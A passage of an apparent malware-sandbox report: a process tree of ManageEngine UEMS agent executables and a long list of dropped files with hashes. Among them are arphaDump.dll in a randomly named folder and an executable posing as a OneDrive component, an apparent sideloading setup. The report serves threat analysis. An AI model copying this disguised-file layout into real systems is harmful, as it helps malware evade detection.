                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exe
                                              DCProcessMonitor.exe
                                              2⤵
                                              • Drops file in Program Files directory
                                              • Executes dropped EXE
                                              • System Location Discovery: System Language Discovery
                                              PID:1500
                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHealthChecker.exe
                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\UEMSAgentHealthChecker.exe"
                                            1⤵
                                            • Executes dropped EXE
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious use of WriteProcessMemory
                                            PID:4764
                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 1
                                              2⤵
                                              • Executes dropped EXE
                                              • System Location Discovery: System Language Discovery
                                              PID:1504
                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 2
                                              2⤵
                                              • Executes dropped EXE
                                              • System Location Discovery: System Language Discovery
                                              PID:3468
                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe
                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentHCHelper.exe" UEMSAgent 4
                                              2⤵
                                              • Executes dropped EXE
                                              • System Location Discovery: System Language Discovery
                                              PID:3736

                                          Network

                                                MITRE ATT&CK Enterprise v16

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                e5ab192.rbs
                                                • Path C:\Config.Msi\e5ab192.rbs
                                                • Size 63KB
                                                • SHA256 9c7da46656fc691542eb2e4fec0746f8fada385cc5ce63d2429e41b4ece0a01c
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                e5ab198.rbs
                                                • Path C:\Config.Msi\e5ab198.rbs
                                                • Size 546B
                                                • SHA256 7cf833fd1b66082c38c80f6741440cbf5af5f41a726eeb762e40c695f83637ad
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                client.p12
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
                                                • Size 1KB
                                                • SHA256 9d2f5fb17a5a2a34a377274d526c721291d163729b597ee74544f3251530e8dd
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                dc2284.tmp
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DownloadRepository\dc2284.tmp
                                                • Size 5KB
                                                • SHA256 b81c88b77d55f9cce1e8a9b14da294cfad86830f34ad8fdffbb5774cff83f7ab
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                7za.exe
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                • Size 839KB
                                                • SHA256 bfb34635f295df13ea1677c0d51d08fafd2da21a1c0bea252df6342d40e511a0
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                ClientAuthHandler.dll
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
                                                • Size 3.1MB
                                                • SHA256 1102372d609f75023e88b678f94e971bbdf5358a5ddd8bb9b9a06f691a84131a
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                UEMSAgentCryptoHandler.dll
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
                                                • Size 480KB
                                                • SHA256 ceabc673783a385ca9195df6425dcd5b2e24a5028380d077f58feba88d99d4ce
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                dcagentregister.exe
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
                                                • Size 244KB
                                                • SHA256 b75ac7d29be086f0dbfa902a06b99b29657a71cf03ae2705995e25d33d2fb5ae
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                patch-database-settings.xml
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\patch-database-settings.xml
                                                • Size 197B
                                                • SHA256 1acf861ddbabb4864373aa0f8e4d968dd8aab2230c4ed1761184c3f5f98b0201
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                patch-diff-scan-settings.xml
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\patch-diff-scan-settings.xml
                                                • Size 371B
                                                • SHA256 5558cf23d4237c6da52baa119652f140bcfe547681d652202bd2cf0b087a5e2b
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                SecureCommDetailsV2.json
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\1\server-certificates\SecureCommDetailsV2.json
                                                • Size 4KB
                                                • SHA256 1b111d7d3d7d5d16ba9f4254bc737a05394b81f35cbd20a5d4b3c347efb499e4
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                global-meta-data.xml2152.tmp
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\global-meta-data.xml2152.tmp
                                                • Size 43KB
                                                • SHA256 d560865d2befc5dae428439df3a74faa339ea77eb53b71539478f015d3849ba6
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                log-upload-settings.json5524.tmp
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\log-upload\log-upload-settings.json5524.tmp
                                                • Size 974B
                                                • SHA256 23ded2da0991000a37473ba9c41901d92cf80191b660aeb9273d597708f33739
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                windows-agent-meta.json
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\log-upload\windows-agent-meta.json
                                                • Size 3KB
                                                • SHA256 adfacc82fe16cffa187c0658587e2465d6ad5f7ed9fe3e364cd8454cf5d73484
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                office-ctr-settings.xml
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\office-ctr-settings.xml
                                                • Size 18KB
                                                • SHA256 4e387681520e4b1f2673f134b146134bfef38e43ea7f11aaf53240d92267e534
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                EPMErrorCodes.xml.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\EPMErrorCodes.xml.gz
                                                • Size 7KB
                                                • SHA256 f98afedcadb662b4d445800cb2fb704c9432f6449a850db0de7626dc5e50e000
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                applications.json.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\applications.json.gz
                                                • Size 719KB
                                                • SHA256 116381ba0b1c3bb37343cdae3367101f93458a6bdce9deb5c06c0bfb08c4c981
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                applications.xml.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\applications.xml.gz
                                                • Size 608KB
                                                • SHA256 e1db35378fdce347aa8fa470325af3e1a207a13a028d23244f217b8e517f623a
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                dcdriverupdates.dll.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\dcdriverupdates.dll.gz
                                                • Size 368KB
                                                • SHA256 f9f0361b337910fbbf67254fe26274cae2674aa0c420a62ee4855db39777cf98
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                dcpatchutils.dll.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\dcpatchutils.dll.gz
                                                • Size 650KB
                                                • SHA256 07ac9c4710ae3bba75c12a54c2030c126c525f1aa114270b2f994fe2fd191b5c
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                drvforceupdate.exe.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\drvforceupdate.exe.gz
                                                • Size 120KB
                                                • SHA256 76bb3afb0c8746b57f118fdc4ea24c7daa04ab6bbe364650f359de24cc31ff4c
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                eol-service-packs.json.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\eol-service-packs.json.gz
                                                • Size 899B
                                                • SHA256 0dc079502dd567cfe2dabebc104513e1c46abb5aa29f0942b7f6303ce1672071
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                hardware.json.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\hardware.json.gz
                                                • Size 118KB
                                                • SHA256 9f738e0dd604eee717218b74021d7e3085b19c2ba5643f1c592d9252a0f738b0
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                os-servicing-data.json.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\os-servicing-data.json.gz
                                                • Size 30KB
                                                • SHA256 183cd21339b74af14f484ec10e28e19574c6e24b00a4e9eaae0be9193ca4fe41
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                patch-dependency-details.xml.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\patch-dependency-details.xml.gz
                                                • Size 104KB
                                                • SHA256 dac2e536a4eb2c2eba0d6870f81d471a4b12b46ac5482c62947514b9d3031a31
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                patch-scan-data.xml.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\patch-scan-data.xml.gz
                                                • Size 224KB
                                                • SHA256 dcbd8a949f5533e915199d0f973c452b733f4cbdd7c6d0b7eb857415da047a49
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                patchresource.json.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\patchresource.json.gz
                                                • Size 143KB
                                                • SHA256 a595a77a1ffa99316d5430b8815b5d50a0f054a34936ad23ff119d5f11b5c727
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                patchresource.xml.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\patchresource.xml.gz
                                                • Size 148KB
                                                • SHA256 3704067ad923a287d0e7490b85180c5efd6cb09cdd1709801c30fdc311a8019c
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                patchtodepfiles.xml.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\patchtodepfiles.xml.gz
                                                • Size 4KB
                                                • SHA256 02a0c6eca7f47341bd0cc2106c9748742a218cd060cf2071d00ae0c831d643ce
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                patchutils.json.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\patchutils.json.gz
                                                • Size 381B
                                                • SHA256 40121e88b49f8a5b099e66503c84dcbe503568fe5ef7f0ef0038f1fc322da676
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                superseded-tree-scan-data.7z
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\superseded-tree-scan-data.7z
                                                • Size 336KB
                                                • SHA256 63fe45799fea2264c11d12941b5a11c49683efabe1bd5e69995b954a7a9a767c
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                ud-supported-patch-details.json.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\patch-resources\ud-supported-patch-details.json.gz
                                                • Size 34KB
                                                • SHA256 c7bb97a809d7313724fa4f44fd2c896b3de49703541a0d0d0ef1df654767eb27
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                upload-patches.json
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\upload-patches.json
                                                • Size 5KB
                                                • SHA256 5be9e10d27710f49610ae2ffb057b3e04f8a17f9551f909f6a0f753ad9b1ede8
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                component-details.json.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\component-details.json.gz
                                                • Size 70KB
                                                • SHA256 f43d3bc77b2cf43f3ec62079b4018bcd854adb51f75f6157842ba8f1ed8e0062
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                misconfig-scan-data.xml.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\misconfig-scan-data.xml.gz
                                                • Size 48KB
                                                • SHA256 4a1ea582d77df7c9d351c51b5b56d82a3bd48bf5749608f035f01d892914b422
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                patchresource-vul.xml.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\patchresource-vul.xml.gz
                                                • Size 27KB
                                                • SHA256 731630dcc5d5302c05eb306fc9fb3ce2c3d6d2d136ca8256bf71b78d0571eb86
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                vulnerable-patch-scan-data.xml.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\vulnerable-patch-scan-data.xml.gz
                                                • Size 36KB
                                                • SHA256 61757c5afffc855462d80d8d6358a5ac810b38eb4eb86b9ebebceb097d3330bf
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                OSDetection.json
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
                                                • Size 28KB
                                                • SHA256 60d8882f39c586ab3c36b54529d8b31cf30d538c89d0dc2fb8cbae8c344691df
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                OSDetection.json.gz
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json.gz
                                                • Size 2KB
                                                • SHA256 5261b3e69078e902b1de05968785674565757a2fe8233b3d892e7b796ca6a537
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                OSDetection.json
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSJsonfromMSI\OSDetection.json
                                                • Size 15KB
                                                • SHA256 217d16bf822447ca72c25b81927c8f45eb654beccba6363819e582e98860d33e
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                configuration-settings-dc-win10.xml
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win10.xml
                                                • Size 247KB
                                                • SHA256 4a84d8cc08ffa3e45d7e350550fd32d4a0416788eabe3fba77c8c2df2dc1fe6c
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                customer-meta-data.json2076.tmp
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\customer-meta-data.json2076.tmp
                                                • Size 5KB
                                                • SHA256 b03b69d10725d4fce23bdea1435cc8b42ab4597f8cd33f69dd2930a835766039
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                data-dictionary-framework.xml
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
                                                • Size 413KB
                                                • SHA256 aa6ab6b406e71bd5f5f4f220de29c8ff8104b318e9e92d8ce74b2755e80b8e22
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                data-dictionary-onpremise.xml
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
                                                • Size 109KB
                                                • SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                data-dictionary.xml
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
                                                • Size 1.6MB
                                                • SHA256 223fc4388d7e54a0a27395911535adc0cf8b26f7e992dc6f0d189b77331b5137
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                ds-server-infoV2.xml
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\ds-server-infoV2.xml
                                                • Size 793B
                                                • SHA256 d66d79090ad0855c2f8bb7972d111f152601484c8cf7d866b21b7e218f6e9a54
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                meta-data.xml
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\meta-data.xml
                                                • Size 6KB
                                                • SHA256 c9c8b87c0a9097bca28e5ae1edd13fd180836fa5b2bb430fda39a44db3309d78
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                on_demand_connection_config.json
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\on_demand_connection_config.json
                                                • Size 652B
                                                • SHA256 cbf4364d5b2f7b644921d03c1606d1dd5af5ac81d0492d70242d03894753f9a2
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                AgentApplicationResources.properties2284.tmp
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\AgentApplicationResources.properties2284.tmp
                                                • Size 143KB
                                                • SHA256 763c07d5819271312851823c081d2a634fecfd66a0962011a7df36d4d4568068
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                vmware-names.conf5356.tmp
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\vmware-names.conf5356.tmp
                                                • Size 55B
                                                • SHA256 2001c465639c8b53419ae3ef4069ba573577ed26f592c988463e5db44336d7f8
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                dcagent.dll
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll
                                                • Size 4.6MB
                                                • SHA256 b1ff95d7d62fc8d0d51d63dcd9f2f86bd4f077d57a5e02ba016cf4343d945453
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                Lato.woff
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff
                                                • Size 36KB
                                                • SHA256 8587742fa147f288638345f101fe58bd8a426a22c33cf92dc286e928203ef019
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                dcmsghandler.ico
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcmsghandler.ico
                                                • Size 14KB
                                                • SHA256 2d92583e576b380e3d8246a5bdced4a205860d49d9ef66e4acde5007caefac24
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                drop_down_icon.png
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png
                                                • Size 449B
                                                • SHA256 159e7193e72731b16a6516403ff192be20e836a4d06becee474a46ac57e2ce59
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                info.png
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png
                                                • Size 2KB
                                                • SHA256 5042147fddc3c27e346a4145a7448a4199265e12cfced518871f2a318476cb7a
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                minimize_icon.svg
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_icon.svg
                                                • Size 161B
                                                • SHA256 08615c639994bf55e78c4dc10bf2b69a505cc1f1e3802f21a809a434daf651fe
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                Network_Connection.log
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\Network_Connection.log
                                                • Size 436B
                                                • SHA256 edaa4872f5c57500b9c7967c0b9709d8db01d5cba76dbe33856bd0d2e95a8f15
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                Network_Connection.log
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\Network_Connection.log
                                                • Size 1KB
                                                • SHA256 230d671091f88340c237825a51fe85f218d35e6a75ed2bdbda4533e744c26d6c
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                dcClientAuthAccess.log
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log
                                                • Size 4KB
                                                • SHA256 bf7b513bb627e1b0154650b0b8bac24cb2f6a50564ef9f8cb6011eb80896f4db
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                dcagentinstaller.log
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log
                                                • Size 11KB
                                                • SHA256 4de604710fc6a3a1de555f9a9e90a6af975dae0b3e0bc52691aff04e99fe1439
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                dcpatchcpu.log
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcpatchcpu.log
                                                • Size 256B
                                                • SHA256 2dc1d592c6b265b675f6db6584fe227793f7dd4392f0d9f394751f76b7e1bb98
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                dcrotatelog.log
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log
                                                • Size 29KB
                                                • SHA256 14e96d382fd5628cdbfc986d98aaea0f2be9f411c8f4a3be5df4ddeea05f7e9c
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                dcrotatelog.log
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log
                                                • Size 29KB
                                                • SHA256 c6d7b8748db5a63891c2db92d91c507fc645fa21234e929e05e8a55711f9181c
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                ecdatatransfer_access.log
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\ecdatatransfer_access.log
                                                • Size 5KB
                                                • SHA256 08fa5e2106a954f18a59bd5fcfcc6fcfb335d68d779434c2f3daee72a1527727
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                setAppPermission_Internal.bat
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat
                                                • Size 957B
                                                • SHA256 8b78e103d656d873fa2a5377dbef7fd92877005dad78fd3521556158453d8ab9
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                DMRootCA-Server.crt
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA-Server.crt
                                                • Size 1KB
                                                • SHA256 27550e75128d745fcaca9e1444dca5729084b8c5eb89daa966f607a3ddc322d9
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                DMRootCA.crt
                                                • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA.crt
                                                • Size 1KB
                                                • SHA256 3678343390129fd822d55e91aea6bba8927ad6194dea2d71f4a9c2825f69dfed
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                arphaDump.dll
                                                • Path C:\ProgramData\dpgklFargWKkZzuqDxYVYNUyXZRdJtaf.LEp\arphaDump.dll
                                                • Size 3.2MB
                                                • SHA256 88f071a9446b7dd34b1a0365bff60411fefadaa01201990d1194a66bfc1d463f
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                0766DB9AB186806BB9A6B6802D3BA734
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0766DB9AB186806BB9A6B6802D3BA734
                                                • Size 2KB
                                                • SHA256 810cbb597bed3d10d13974f3d279b150cf95bb0c049d96876a65caf2951afe2f
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
                                                • Size 1KB
                                                • SHA256 62a9d918ac4454e16a7a559772964a132721a8cba91baa0def4991bf709f73a2
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                9CB4373A4252DE8D2212929836304EC5_6C354C532D063DF5607A63BA827F5164
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9CB4373A4252DE8D2212929836304EC5_6C354C532D063DF5607A63BA827F5164
                                                • Size 1KB
                                                • SHA256 744a9b53ffaac0dcf079f1de1247f0a8ca052f8aa72996d2a903e8186b2db8cd
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                A1D627669EFC8CD4F21BCF387D97F9B5_2FF227226E03D1CC1E32525952DE80D1
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A1D627669EFC8CD4F21BCF387D97F9B5_2FF227226E03D1CC1E32525952DE80D1
                                                • Size 1KB
                                                • SHA256 67cf8f94dcec0beabad364fdf3c3c56f5969f58822f9d49ef36a8ad5659409b7
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                0766DB9AB186806BB9A6B6802D3BA734
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0766DB9AB186806BB9A6B6802D3BA734
                                                • Size 192B
                                                • SHA256 7bf8d91c1356a79b95eb9c7c763030794318e6121223205d469cbd55c227bcc8
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
                                                • Size 508B
                                                • SHA256 d29579c49106fdc6525e8c42e825b2d275b9eeada4188785cd9e2ed9eb40ca2c
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                9CB4373A4252DE8D2212929836304EC5_6C354C532D063DF5607A63BA827F5164
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9CB4373A4252DE8D2212929836304EC5_6C354C532D063DF5607A63BA827F5164
                                                • Size 532B
                                                • SHA256 dab3c3585184f96d84dbbbb1c871df69e5aa645ce7a326b1c80cf2537bef27ce
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                A1D627669EFC8CD4F21BCF387D97F9B5_2FF227226E03D1CC1E32525952DE80D1
                                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A1D627669EFC8CD4F21BCF387D97F9B5_2FF227226E03D1CC1E32525952DE80D1
                                                • Size 544B
                                                • SHA256 80c86a45a4826bbdfaddddd6c5de97315098608a5a6121493e4d4990739b71a9
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                Agentinstalllog.txt
                                                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt
                                                • Size 1KB
                                                • SHA256 617b220ff8fa507f9afd799a8d3372d6874ecde5f98b8e9b4f7279875312c2b6
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                DCAgentServerInfo.json
                                                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\DCAgentServerInfo.json
                                                • Size 4KB
                                                • SHA256 2b218fa43e7f7508fb297334bb55b8de114143e938020688bff51485a874a6d9
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                SetUP.VBS
                                                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS
                                                • Size 827B
                                                • SHA256 7acc98e98816c82141c818e72b9c0021bc0bfa5f01950c8f67593400a7d8abec
                                                • MD5 SHA1 SHA512 TLSH
                                                Submit Download

                                                UEMSAgent.mst
                                                • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst
                                                • Size 20KB
                                                • SHA256 8dd93f43089a682cbac39c0a1f364057dcb7d08e9b1480c088f15a5dd56d8be4
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                OneDrive.Sync.Service.WebSocketClient.exe
                                                • Path C:\Users\Public\WindowsApps\561646.xhWs\OneDrive.Sync.Service.WebSocketClient.exe
                                                • Size 206KB
                                                • SHA256 b2ee510d0b5012487dee143b459e4e2fcfb758960d3fe7ec4743552bc91be9e2
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                arphaDump.dll
                                                • Path C:\Users\Public\WindowsApps\561646.xhWs\arphaDump.dll
                                                • Size 8.7MB
                                                • SHA256 20e11d7e0ca3f756c57558dc95c089a7364f7f86e21201c0a1cf7464e8ff9d56
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                c_volume.PNF
                                                • Path C:\Windows\INF\c_volume.PNF
                                                • Size 4KB
                                                • SHA256 e16c45bf719e97dd5252bbe1fb92cc8a798e89b284be98bc9113012f8f1d8548
                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                Submit Download

                                                MSIE178.tmp
                                                • Path C:\Windows\Installer\MSIE178.tmp
                                                • Size 429KB
